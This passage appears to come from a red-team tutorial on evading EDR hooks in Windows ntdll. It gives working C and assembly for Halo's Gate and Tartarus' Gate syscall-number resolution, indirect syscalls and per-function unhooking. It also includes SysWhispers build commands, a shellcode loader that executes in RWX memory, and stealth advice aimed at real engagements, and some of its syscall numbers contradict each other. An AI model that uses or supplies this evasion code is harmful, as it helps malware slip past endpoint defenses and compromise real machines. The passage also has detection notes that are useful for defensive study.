If NtAllocateVirtualMemory (SSN 0x18) is hooked:
→ Check NtOpenProcessToken (previous stub in VA order, SSN 0x17)
→ If clean: SSN of NtAllocateVirtualMemory = 0x17 + 1 = 0x18
→ If also hooked: check 2 back → 0x16 + 2 = 0x18
Halo's Gate searches ±N neighbors until it finds a clean one,
then calculates the target SSN by offset.
8.2 Halo's Gate Implementation (C)
// halos_gate.c — Resolve SSN even when the target stub is hooked
#include <Windows.h>
#include <winternl.h>
#include <stdio.h>
#define MAX_NEIGHBOR_SEARCH 10
typedef struct {
DWORD rva; // Relative virtual address of stub
char* name; // Function name
DWORD ssn; // Resolved SSN (0xFFFFFFFF = hooked/unknown)
} NtFuncEntry;
// Get all Nt* exports sorted by RVA (which equals SSN order)
// Returns array sorted by RVA — index = SSN
NtFuncEntry* BuildNtStubTable(HMODULE hNtdll, DWORD* count) {
BYTE* base = (BYTE*)hNtdll;
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(
base + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD* names = (DWORD*)(base + exp->AddressOfNames);
DWORD* funcs = (DWORD*)(base + exp->AddressOfFunctions);
WORD* ordinals = (WORD*) (base + exp->AddressOfNameOrdinals);
// Collect only Nt*/Zw* stubs
NtFuncEntry* table = (NtFuncEntry*)malloc(exp->NumberOfNames * sizeof(NtFuncEntry));
DWORD n = 0;
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
char* name = (char*)(base + names[i]);
if ((name[0] != 'N' || name[1] != 't') && (name[0] != 'Z' || name[1] != 'w'))
continue;
table[n].rva = funcs[ordinals[i]];
table[n].name = name;
table[n].ssn = 0xFFFFFFFF;
n++;
}
// Sort by RVA (insertion sort — small N)
for (DWORD i = 1; i < n; i++) {
NtFuncEntry key = table[i];
int j = i - 1;
while (j >= 0 && table[j].rva > key.rva) {
table[j+1] = table[j];
j--;
}
table[j+1] = key;
}
// Assign SSNs (position in sorted RVA order = SSN)
for (DWORD i = 0; i < n; i++) {
BYTE* stub = base + table[i].rva;
// Check if clean (unhooked)
if (stub[0] == 0x4C && stub[1] == 0x8B && stub[2] == 0xD1 && stub[3] == 0xB8) {
table[i].ssn = *(DWORD*)(stub + 4);
}
// If hooked, ssn stays 0xFFFFFFFF — will be resolved via neighbors
}
*count = n;
return table;
}
DWORD HalosGate_GetSSN(const char* funcName) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD count = 0;
NtFuncEntry* table = BuildNtStubTable(hNtdll, &count);
// Find target function in sorted table
DWORD targetIdx = 0xFFFFFFFF;
for (DWORD i = 0; i < count; i++) {
if (strcmp(table[i].name, funcName) == 0) {
targetIdx = i;
break;
}
}
if (targetIdx == 0xFFFFFFFF) {
printf("[-] Function %s not found in table\n", funcName);
free(table);
return 0xFFFFFFFF;
}
// If already resolved, return directly
if (table[targetIdx].ssn != 0xFFFFFFFF) {
DWORD ssn = table[targetIdx].ssn;
printf("[+] %-45s SSN: 0x%04lX (Hell's Gate)\n", funcName, ssn);
free(table);
return ssn;
}
// Function is hooked — scan neighbors
printf("[!] %s is hooked — using Halo's Gate neighbor scan...\n", funcName);
for (int offset = 1; offset <= MAX_NEIGHBOR_SEARCH; offset++) {
// Check above (higher SSN)
if ((int)targetIdx - offset >= 0 && table[targetIdx - offset].ssn != 0xFFFFFFFF) {
DWORD ssn = table[targetIdx - offset].ssn + offset;
printf("[+] %-45s SSN: 0x%04lX (via neighbor -%d)\n", funcName, ssn, offset);
free(table);
return ssn;
}
// Check below (lower SSN)
if (targetIdx + offset < count && table[targetIdx + offset].ssn != 0xFFFFFFFF) {
DWORD ssn = table[targetIdx + offset].ssn - offset;
printf("[+] %-45s SSN: 0x%04lX (via neighbor +%d)\n", funcName, ssn, offset);
free(table);
return ssn;
}
}
printf("[-] Could not resolve SSN for %s — too many neighbors hooked\n", funcName);
free(table);
return 0xFFFFFFFF;
}
int main() {
printf("[*] Halo's Gate — Hook-Aware SSN Resolution\n\n");
HalosGate_GetSSN("NtAllocateVirtualMemory");
HalosGate_GetSSN("NtCreateThreadEx");
HalosGate_GetSSN("NtWriteVirtualMemory");
return 0;
}
9. Technique 6 — Tartarus' Gate
What it means: An enhancement of Halo's Gate that handles more EDR hook patterns. Halo's Gate only checks for E9 (relative JMP). But some EDRs use E9 at offset 0, some use E9 at offset 3, and some use FF 25 (indirect JMP). Tartarus' Gate checks all three common hook positions and patterns.
9.1 Hook Pattern Detection
// tartarus_gate.c — Extended hook detection for SSN resolution
#include <Windows.h>
#include <stdio.h>
// Hook pattern enumeration
typedef enum {
HOOK_NONE = 0, // Clean stub: 4C 8B D1 B8 [SSN]
HOOK_E9_0 = 1, // Hooked at offset 0: E9 xx xx xx xx (JMP rel32)
HOOK_E9_3 = 2, // Hooked at offset 3: 4C 8B D1 E9 xx (partial patch)
HOOK_FF25 = 3, // Hooked: FF 25 xx xx xx xx (JMP [rip+xxx])
HOOK_UNKNOWN = 4
} HookType;
HookType DetectHookType(BYTE* stub) {
// Clean: 4C 8B D1 B8 XX 00 00 00
if (stub[0] == 0x4C && stub[1] == 0x8B && stub[2] == 0xD1 && stub[3] == 0xB8)
return HOOK_NONE;
// E9 at offset 0 (most common EDR hook)
if (stub[0] == 0xE9)
return HOOK_E9_0;
// E9 at offset 3 — some EDRs patch only after mov r10,rcx
if (stub[0] == 0x4C && stub[1] == 0x8B && stub[2] == 0xD1 && stub[3] == 0xE9)
return HOOK_E9_3;
// FF 25 indirect JMP
if (stub[0] == 0xFF && stub[1] == 0x25)
return HOOK_FF25;
return HOOK_UNKNOWN;
}
DWORD TartarusGate_GetSSN(const char* funcName) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
BYTE* stub = (BYTE*)GetProcAddress(hNtdll, funcName);
if (!stub) return 0xFFFFFFFF;
HookType hookType = DetectHookType(stub);
switch (hookType) {
case HOOK_NONE:
printf("[+] %-45s Clean → SSN: 0x%04X\n", funcName, *(DWORD*)(stub + 4));
return *(DWORD*)(stub + 4);
case HOOK_E9_0:
printf("[!] %-45s Hooked (E9 at 0) — neighbor scan needed\n", funcName);
break;
case HOOK_E9_3:
printf("[!] %-45s Hooked (E9 at 3) — neighbor scan needed\n", funcName);
break;
case HOOK_FF25:
printf("[!] %-45s Hooked (FF25) — neighbor scan needed\n", funcName);
break;
default:
printf("[?] %-45s Unknown pattern: %02X %02X %02X\n",
funcName, stub[0], stub[1], stub[2]);
return 0xFFFFFFFF;
}
// Fall through to neighbor scan (same logic as Halo's Gate)
// ... (call HalosGate_GetSSN equivalent)
return 0xFFFFFFFF;
}
int main() {
printf("[*] Tartarus' Gate — Extended Hook Detection\n\n");
const char* funcs[] = {
"NtAllocateVirtualMemory",
"NtProtectVirtualMemory",
"NtCreateThreadEx",
"NtWriteVirtualMemory",
NULL
};
for (int i = 0; funcs[i]; i++)
TartarusGate_GetSSN(funcs[i]);
return 0;
}
[TOOL] Reference project: TartarusGate by trickster0 — https://github.com/trickster0/TartarusGate
10. Technique 7 — Indirect Syscalls
What it means: Direct syscalls execute syscall from your own code, which EDRs detect via call stack analysis (the syscall return address points to unbacked/RWX memory). Indirect syscalls fix this by jumping to the syscall; ret instruction that already exists inside ntdll's own .text section (a "gadget"), so the return address is legitimately inside ntdll.
10.1 Direct vs. Indirect — Call Stack Difference
Direct Syscall — what EDR sees:
Stack frame:
└─ Return addr: 0x00007FF600001234 ← YOUR module (unbacked/PE, looks odd)
└─ NtAllocateVirtualMemory
└─ [syscall instruction at 0x00007FF600001232] ← NOT in ntdll!
Indirect Syscall — what EDR sees:
Stack frame:
└─ Return addr: 0x00007FFCABCD1234 ← Inside ntdll.dll (legitimate!)
└─ [syscall; ret gadget in ntdll]
└─ Kernel
10.2 Finding a syscall;ret Gadget in ntdll
// Find an unhooked "syscall; ret" (0F 05 C3) gadget in ntdll's .text
#include <Windows.h>
#include <psapi.h>
#include <stdio.h>
LPVOID FindSyscallGadget() {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
MODULEINFO mi = {0};
GetModuleInformation(GetCurrentProcess(), hNtdll, &mi, sizeof(mi));
BYTE* base = (BYTE*)hNtdll;
SIZE_T size = mi.SizeOfImage;
// Scan .text for: 0F 05 C3 (syscall; ret)
for (SIZE_T i = 0; i < size - 3; i++) {
if (base[i] == 0x0F && base[i+1] == 0x05 && base[i+2] == 0xC3) {
printf("[+] syscall;ret gadget found at: 0x%p\n", base + i);
return (LPVOID)(base + i);
}
}
return NULL;
}
int main() {
LPVOID gadget = FindSyscallGadget();
if (gadget) {
printf("[*] Use this address as your indirect syscall target\n");
printf(" Return address will legitimately be in ntdll\n");
}
return 0;
}
10.3 Indirect Syscall ASM Stub
; indirect_syscall.asm — Indirect syscall via ntdll gadget
; The "syscall; ret" instruction is in ntdll, so stack looks clean
.data
g_SyscallGadget QWORD 0 ; Address of "syscall; ret" in ntdll
.code
; Call this first with the gadget address
SetSyscallGadget PROC
mov [g_SyscallGadget], rcx
ret
SetSyscallGadget ENDP
; Indirect syscall stub
; Caller: set eax = SSN, set r10 = first arg (rcx)
IndirectSyscall PROC
mov r10, rcx ; syscall calling convention
; eax = SSN (set by caller)
jmp [g_SyscallGadget] ; jump INTO ntdll's "syscall; ret" gadget
; ← stack return addr now inside ntdll
IndirectSyscall ENDP
END
// C wrapper for indirect syscall
extern void SetSyscallGadget(LPVOID gadgetAddr);
extern NTSTATUS IndirectSyscall(...);
// Setup:
LPVOID gadget = FindSyscallGadget();
SetSyscallGadget(gadget); // store gadget address in global
// Now use IndirectSyscall with SSN set in eax before calling
[OPSEC] Indirect syscalls + call stack spoofing = strongest combination for evasion. Indirect syscalls alone still show jmp from non-ntdll code, which some EDRs flag.
[TOOL] HellsHall — implements indirect syscalls with Halo's Gate SSN resolution. GitHub: jakobfriedl/IndirectUnhook
11. Technique 8 — Selective / Per-Function Unhooking
What it means: Rather than nuking the entire ntdll .text section (which is noisy — touching MB of memory protection), you unhook only the specific functions you need and only restore their original 5–14 bytes. This is stealthier because VirtualProtect spans only a single function stub (32 bytes) rather than the whole .text section (~MB).
11.1 Targeted Single-Function Unhook
// selective_unhook.c — Restore only a specific function's original bytes
#include <Windows.h>
#include <stdio.h>
// Restore original bytes of a hooked function from a clean ntdll source
BOOL UnhookSingleFunction(const char* funcName, LPVOID cleanNtdllBase) {
HMODULE hookedNtdll = GetModuleHandleA("ntdll.dll");
BYTE* hookedFunc = (BYTE*)GetProcAddress(hookedNtdll, funcName);
BYTE* cleanFunc = (BYTE*)GetProcAddress((HMODULE)cleanNtdllBase, funcName);
if (!hookedFunc || !cleanFunc) {
printf("[-] Could not resolve %s from both ntdll copies\n", funcName);
return FALSE;
}
// Check if actually hooked before touching
if (hookedFunc[0] != 0xE9 && hookedFunc[0] != 0xFF && hookedFunc[0] != 0xCC) {
printf("[*] %s appears clean — no unhooking needed\n", funcName);
return TRUE;
}
printf("[*] Unhooking %s (hooked byte: 0x%02X)\n", funcName, hookedFunc[0]);
// Only patch the hook bytes (typically 5 bytes for E9 JMP hook)
// Restore 16 bytes to be safe (covers all hook types)
DWORD patchSize = 16;
DWORD oldProt = 0;
if (!VirtualProtect(hookedFunc, patchSize, PAGE_EXECUTE_READWRITE, &oldProt)) {
printf("[-] VirtualProtect failed for %s\n", funcName);
return FALSE;
}
memcpy(hookedFunc, cleanFunc, patchSize);
VirtualProtect(hookedFunc, patchSize, oldProt, &oldProt);
printf("[+] %s unhooked successfully\n", funcName);
return TRUE;
}
int main() {
// First, map a clean copy (KnownDlls or disk)
// Here using disk method for brevity
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll",
GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, 0, NULL);
HANDLE hMap = CreateFileMapping(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
LPVOID cleanBase = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
// Only unhook what you need
UnhookSingleFunction("NtAllocateVirtualMemory", cleanBase);
UnhookSingleFunction("NtCreateThreadEx", cleanBase);
UnhookSingleFunction("NtWriteVirtualMemory", cleanBase);
// Execute payload here...
UnmapViewOfFile(cleanBase);
CloseHandle(hMap);
CloseHandle(hFile);
return 0;
}
[OPSEC] Selective unhooking = least noisy unhooking method. Only 3 small VirtualProtect calls (16 bytes each) instead of one giant call on the entire .text section. Harder for EDR to pattern-match.
12. SysWhispers — Automation Tool
What it means: SysWhispers automates the process of generating direct/indirect syscall stubs for any Nt* function. Instead of writing ASM by hand, you specify which functions you want, and SysWhispers outputs ready-to-compile .h, .c, and .asm files.
12.1 SysWhispers Generations
| Version | Key Features | SSN Resolution | GitHub |
|---|---|---|---|
| SysWhispers | Original, hardcoded SSN | Static table | outflanknl/SysWhispers |
| SysWhispers2 | Runtime SSN, Hell's Gate | Hell's + Halo's Gate | jthuraisamy/SysWhispers2 |
| SysWhispers3 | Indirect syscalls, PPID spoof | Tartarus' Gate | klezVirus/SysWhispers3 |
| SysWhispers4 | All methods + ntdll unhook | FreshyCalls, RecycledGate | JoasASantos/SysWhispers4 |
12.2 SysWhispers3 Usage
# Install
git clone https://github.com/klezVirus/SysWhispers3
cd SysWhispers3
pip install -r requirements.txt
# Generate stubs for specific functions
python syswhispers.py \
--functions NtAllocateVirtualMemory,NtCreateThreadEx,NtWriteVirtualMemory,NtProtectVirtualMemory \
-o syscalls
# Generate with all common functions (preset)
python syswhispers.py --preset common -o syscalls
# Indirect syscall mode (cleaner call stack)
python syswhispers.py --functions NtAllocateVirtualMemory -m jumper -o syscalls
# Random syscall jumper (anti-pattern detection)
python syswhispers.py --functions NtAllocateVirtualMemory -m jumper_randomized -o syscalls
12.3 Generated Files and Integration
# Output files:
syscalls.h # type definitions, function prototypes
syscalls.c # SSN resolution logic
syscalls-asm.x64.asm # actual syscall stubs (MASM)
# Compile (MSVC):
ML64 /c syscalls-asm.x64.asm
cl.exe syscalls.c your_loader.c /Fe:loader.exe
link.exe /OUT:loader.exe syscalls-asm.x64.obj syscalls.obj your_loader.obj \
kernel32.lib libcmt.lib /MACHINE:X64 /NODEFAULTLIB:msvcrt.lib
# MinGW:
x86_64-w64-mingw32-as syscalls-asm.x64.asm -o syscalls-asm.o
x86_64-w64-mingw32-gcc syscalls.c your_loader.c syscalls-asm.o -o loader.exe
12.4 Usage in Code
// After including generated headers from SysWhispers
#include "syscalls.h"
int main() {
// SysWhispers-generated function — no ntdll involved
PVOID addr = NULL;
SIZE_T size = 0x1000;
// NtAllocateVirtualMemory via direct syscall
NtAllocateVirtualMemory(
GetCurrentProcess(),
&addr,
0,
&size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
// Copy shellcode to allocated region
memcpy(addr, shellcode, sizeof(shellcode));
// Change protection (via syscall — bypasses EDR hook)
NtProtectVirtualMemory(GetCurrentProcess(), &addr, &size, PAGE_EXECUTE_READ, &oldProt);
// Create thread (via syscall — bypasses EDR hook)
HANDLE hThread = NULL;
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL,
GetCurrentProcess(), addr, NULL,
FALSE, 0, 0, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
[TOOL] SysWhispers4 with ntdll unhooking:
// SysWhispers4 — ntdll unhooking built-in
#include "SW4.h"
int main() {
// Unhook ntdll BEFORE initializing SysWhispers
// Maps \KnownDlls\ntdll.dll and overwrites hooked .text
SW4_UnhookNtdll();
// Now initialize (FreshyCalls reads clean stubs)
SW4_Initialize();
// All subsequent syscalls bypass EDR hooks
// ...
}
13. Detection & OPSEC Considerations
13.1 What EDRs Look For (Detection Signals)
Signal 1: VirtualProtect on ntdll .text section
├─ NtProtectVirtualMemory called with address inside ntdll
├─ Protection changes to include WRITE (RWX or RW)
└─ Detection: HIGH — ntdll is never supposed to become writable
Signal 2: Two ntdll modules loaded (disk copy technique)
├─ Sysmon EventID 7 (ImageLoad): ntdll.dll loaded twice
└─ Detection: MEDIUM — unusual to have two ntdll mappings
Signal 3: Suspended process + ReadProcessMemory (Perun's Fart)
├─ CreateProcess with CREATE_SUSPENDED
├─ ReadProcessMemory call on the suspended process
├─ TerminateProcess immediately after
└─ Detection: HIGH — this pattern is very suspicious
Signal 4: NtOpenSection on \KnownDlls\ntdll.dll (KnownDlls technique)
├─ NtOpenSection with object path \KnownDlls\ntdll.dll
└─ Detection: LOW-MEDIUM — less monitored than disk reads
Signal 5: syscall instruction outside ntdll (direct syscalls)
├─ Call stack analysis: syscall return address not in ntdll
├─ RWX or PE-unbacked memory executing syscall
└─ Detection: HIGH with modern EDRs doing call stack checks
Signal 6: YARA pattern matching
├─ ntdll.dll string + VirtualProtect + memcpy + syscall opcode
└─ Detection: MEDIUM — depends on YARA rule quality
13.2 OPSEC Risk by Technique
| Technique | Disk I/O | New Process | VirtualProtect Scope | Detection Risk |
|---|---|---|---|---|
| Disk Mapping (T1) | Yes (CreateFile) | No | Whole .text | High |
| Perun's Fart (T2) | No | Yes (suspended) | Whole .text | High |
| KnownDlls (T3) | No | No | Whole .text | Medium |
| Direct Syscalls (T4) | No | No | None | Medium (call stack) |
| Halo's Gate (T5) | No | No | None | Low-Medium |
| Tartarus' Gate (T6) | No | No | None | Low-Medium |
| Indirect Syscalls (T7) | No | No | None | Low |
| Selective Unhook (T8) | Minimal | No | Per-function (16B) | Low-Medium |
13.3 OPSEC Recommendations
For maximum stealth (CRTE/CRTP/real engagements):
1. Prefer indirect syscalls over full unhooking
└─ No VirtualProtect on ntdll, no IOC from calling stack perspective
2. If you must unhook: use Selective/Per-function + KnownDlls source
└─ Smallest memory footprint, lowest detection signal
3. Avoid Perun's Fart in hardened environments
└─ Suspended process + ReadProcessMemory is well-known IOC
└─ Use an existing process PID instead if possible
4. Combine with:
└─ Call stack spoofing (make your frames look like legit Windows code)
└─ ETW patching (prevent event logging)
└─ Sleep encryption (Ekko, Gargoyle — hide in-memory while dormant)
└─ PPID spoofing (parent process looks like explorer.exe)
5. Test your loader with:
└─ ThreatCheck: github.com/rasta-mouse/ThreatCheck
└─ PE-sieve: github.com/hasherezade/pe-sieve
└─ Moneta: github.com/forrest-orr/moneta
13.4 Check If Unhooking Worked
// Verify unhooking by checking the first bytes of target functions
void VerifyUnhooking() {
const char* funcs[] = {
"NtAllocateVirtualMemory",
"NtCreateThreadEx",
"NtWriteVirtualMemory",
NULL
};
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
printf("[*] Post-unhook verification:\n");
for (int i = 0; funcs[i]; i++) {
BYTE* fn = (BYTE*)GetProcAddress(hNtdll, funcs[i]);
BOOL clean = (fn[0] == 0x4C && fn[1] == 0x8B && fn[2] == 0xD1);
printf(" %-45s → %s (bytes: %02X %02X %02X)\n",
funcs[i],
clean ? "[CLEAN]" : "[STILL HOOKED]",
fn[0], fn[1], fn[2]);
}
}
14. Comparison Matrix
| Technique | Disk I/O | Spawns Process | VirtualProtect? | Works If Hooked | SSN Needed | Call Stack Clean | Detection Risk |
|---|---|---|---|---|---|---|---|
| Disk Mapping (CreateFileMapping) | Yes | No | Yes (full .text) | Yes | No | Yes | High |
| Perun's Fart (Suspended Process) | No | Yes | Yes (full .text) | Yes | No | Yes | High |
| KnownDlls (NtOpenSection) | No | No | Yes (full .text) | Yes | No | Yes | Medium |
| Direct Syscalls (Hell's Gate) | No | No | No | Yes (own SSN) | Yes | No | Medium |
| Halo's Gate | No | No | No | Yes (neighbor) | Yes | No | Low-Medium |
| Tartarus' Gate | No | No | No | Yes (all types) | Yes | No | Low |
| Indirect Syscalls | No | No | No | Yes | Yes | Yes | Low |
| Selective Unhook | Any source | Optional | Yes (16 bytes) | Yes | No | Yes | Low-Medium |
15. Cheat Sheet
Quick Decision Tree — Which Technique to Use
Need to bypass EDR hooks?
│
├─ CTF / Training environment?
│ └─ Disk Mapping (Technique 1) — easy, well-documented
│
├─ Red team engagement (real EDR present)?
│ │
│ ├─ EDR doing call stack analysis?
│ │ ├─ YES → Indirect Syscalls + Halo's/Tartarus' Gate
│ │ └─ NO → Direct Syscalls (Hell's Gate / Halo's Gate)
│ │
│ ├─ Need to unhook (not just direct syscall)?
│ │ ├─ Only a few functions → Selective Unhook + KnownDlls source
│ │ └─ Full ntdll unhook needed → KnownDlls (NtOpenSection)
│ │
│ ├─ EDR blocking CreateFile on ntdll? → KnownDlls or Perun's Fart
│ │
│ └─ Maximum stealth (APT simulation)?
│ └─ Indirect Syscalls + KnownDlls selective unhook
│ + call stack spoofing + ETW bypass
│
└─ Developing a C2 implant (Havoc/Sliver/custom)?
└─ SysWhispers3/4 (preset=common) + indirect mode
→ generates ready-to-compile stubs
One-Liners
# Check if any Nt* functions are hooked (PowerShell)
(Get-Process -Id $PID).Modules | Where-Object {$_.ModuleName -like "ntdll*"}
# Dump ntdll from disk and compare with in-memory (detect hooks)
pe-sieve /pid <PID> /dump_mode 3
# Compile SysWhispers stubs (quick setup)
python syswhispers.py --preset common --method jumper -o sw && \
cl.exe sw.c loader.c && link.exe /OUT:loader.exe sw-asm.x64.obj sw.obj loader.obj kernel32.lib
# x64dbg — check if function is hooked
# Breakpoint → Run → Go to [function] → Check if first instruction is JMP
# bp ntdll.NtAllocateVirtualMemory
SSN Quick Reference (Windows 10/11 x64 — common builds)
⚠️ Always resolve at runtime — these values change between builds.
Function Win10-21H2 Win11-22H2
NtAccessCheckAndAuditAlarm 0x0000 0x0000
NtAllocateVirtualMemory 0x0018 0x0018
NtClose 0x000F 0x000F
NtCreateFile 0x0055 0x0055
NtCreateProcess 0x00B3 0x00B3
NtCreateThread 0x004E 0x004E
NtCreateThreadEx 0x00C1 0x00C1
NtDuplicateObject 0x003C 0x003C
NtOpenProcess 0x0026 0x0026
NtOpenProcessToken 0x0028 0x0028
NtProtectVirtualMemory 0x0050 0x0050
NtQueryInformationProcess 0x0019 0x0019
NtQuerySystemInformation 0x0036 0x0036
NtReadVirtualMemory 0x003F 0x003F
NtWriteVirtualMemory 0x003A 0x003A
Source: https://j00ru.vexillium.org/syscalls/nt/64/
Hook Type Byte Reference
Byte(s) Hook Type Action
0x4C 0x8B Clean (mov r10, rcx) Not hooked — use normally
0xE9 E9 JMP rel32 (5-byte) Most common EDR hook
0xFF 0x25 FF 25 indirect JMP (6-byte) Absolute EDR hook
0xCC INT3 breakpoint (1-byte) Hardware-assisted hook
0x48 0xB8 MOV RAX + JMP (12-byte) Absolute jump via register
Key Functions to Unhook for Process Injection
// Minimum set to unhook for shellcode injection:
const char* criticalFunctions[] = {
"NtAllocateVirtualMemory", // VirtualAlloc equivalent
"NtWriteVirtualMemory", // WriteProcessMemory equivalent
"NtProtectVirtualMemory", // VirtualProtect equivalent
"NtCreateThreadEx", // CreateRemoteThread equivalent
"NtOpenProcess", // OpenProcess equivalent
NULL
};
16. Tools Reference
| Tool | Purpose | Link |
|---|---|---|
| SysWhispers | Syscall stub generator (original) | github.com/outflanknl/SysWhispers |
| SysWhispers2 | Runtime SSN, Hell's/Halo's Gate | github.com/jthuraisamy/SysWhispers2 |
| SysWhispers3 | Indirect syscalls, randomized | github.com/klezVirus/SysWhispers3 |
| SysWhispers4 | All methods + ntdll unhook | github.com/JoasASantos/SysWhispers4 |
| TartarusGate | Extended hook detection/bypass | github.com/trickster0/TartarusGate |
| HookFinder | Find hooked Nt* functions in ntdll | github.com/fin3ss3g0d/HookFinder |
| PE-sieve | Memory scanning, hook detection | github.com/hasherezade/pe-sieve |
| Moneta | IOC scanner for injected processes | github.com/forrest-orr/moneta |
| IndirectUnhook | NTDLL unhook + indirect syscalls | github.com/jakobfriedl/IndirectUnhook |
| RustRedOps | Red team techniques in Rust (NTDLL unhooking included) | github.com/joaoviictorti/RustRedOps |
| EDRSandBlast | Vulnerable driver + userland unhooking | github.com/wavestone-cdt/EDRSandBlast |
| ThreatCheck | Find AV trigger bytes in payloads | github.com/rasta-mouse/ThreatCheck |
| Ekko | Sleep encryption (hide beacon in sleep) | github.com/Cracked5pider/Ekko |
Further Reading
- ired.team — Full DLL Unhooking in C++: https://ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++
- MalwareTech — Intro to Bypassing User Mode EDR Hooks: https://malwaretech.com/2023/12/an-introduction-to-bypassing-user-mode-edr-hooks.html
- j00ru syscall table — SSN reference for all Windows versions: https://j00ru.vexillium.org/syscalls/nt/64/
- Sektor7 — Malware Development Intermediate course
- VX-Underground — Whitepapers on EDR evasion
- os3.nl research paper — Antivirus evasion by user mode unhooking: https://rp.os3.nl/2020-2021/p68/report.pdf